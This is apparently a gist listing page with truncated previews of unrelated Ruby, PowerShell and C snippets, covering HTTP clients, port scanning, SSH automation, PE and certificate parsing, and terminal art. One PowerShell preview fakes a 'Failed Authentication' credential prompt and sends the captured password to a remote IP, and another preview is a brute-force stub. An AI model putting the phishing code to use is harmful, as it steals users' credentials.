This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/http' | |
require 'uri' | |
host = "localhost" | |
port = 5125 | |
path = "/api/hoge/hoge/hoge" | |
body = URI.encode_www_form({'number'=>0, 'mode'=>'gauge'}) | |
# 1) | |
@client = Net::HTTP.new(host, port) | |
# @client.set_debug_output(STDOUT) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# | |
## Brute code stolen form: https://gist.github.com/petehamilton/4755855 | |
# | |
def result?(sub) | |
puts sub | |
1 == 2 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
$wc = new-object net.webclient; | |
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
$result = $wc.downloadstring('https://172.16.102.163'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'socket' | |
# Set up the parameters. | |
PORT_RANGE = 1..512 | |
HOST = 'archive.org' | |
TIME_TO_WAIT = 5 # seconds | |
# Create a socket for each port and initiate the nonblocking | |
# connect. | |
sockets = PORT_RANGE.map do |port| |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/ssh' | |
host = "the.host" | |
user = "joe" | |
su_user = "bob" | |
password = "password" | |
commands = ["cd /", "pwd", "ls -l", "exit"] | |
finished = ("%08x" * 8) % Array.new(8) { rand(0xFFFFFFFF) } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Posted here https://twitter.com/josh_cheek/status/760519587758690304 | |
Previously https://twitter.com/josh_cheek/status/667501443226558464 | |
Based on http://algorithmicbotany.org/papers/abop/abop-ch1.pdf | |
ruby -e 's = "F-F-F-F"; 3.times { s = s.gsub /f/i, "F" => "FF-F-F-F-FF" }; | |
dirs = [" \e[2D\e[A", " ", " \e[2D\e[B", " \e[4D"].map { |s| s * 2 } | |
print "\e[H\e[2J\e[60;20H\e[45m" # clear and "center" | |
s.each_char { |c| c == "F" ? print("\e[45m",dirs[0]) : c == "f" ? print("\e[49m", dirs[0]) : c == "-" ? dirs.rotate!(1) : c == "+" ? dirs.rotate!(-1) : :noop } | |
puts' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'bindata' | |
require 'pp' | |
class ImageDosHeader < BinData::Record | |
endian :little | |
uint16 :e_magic, :check_value => 0x5A4D # MZ | |
uint16 :e_cblp | |
uint16 :e_cp | |
uint16 :e_crlc | |
uint16 :e_cparhdr |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cert = OpenSSL::X509::Certificate.new(certificate_string) | |
subject_alt_name = cert.extensions.find {|e| e.oid == "subjectAltName"} | |
# Parse the subject alternate name certificate extension as ASN1, first value should be the key | |
asn_san = OpenSSL::ASN1.decode(subject_alt_name) | |
raise "Expected ASN1 Subject Alternate Name extension key to be subjectAltName but was #{asn_san.value[0].value}" if asn_san.value[0].value != 'subjectAltName' | |
# And the second value should be a nested ASN1 sequence | |
asn_san_sequence = OpenSSL::ASN1.decode(asn_san.value[1].value) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <cassert> | |
int | |
main(int argc, char **argv) | |
{ | |
(void)argc; | |
(void)argv; | |
// التعليمات مولّدة من هذا الكود: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'mkmf' | |
create_makefile('shellcode') |
OlderNewer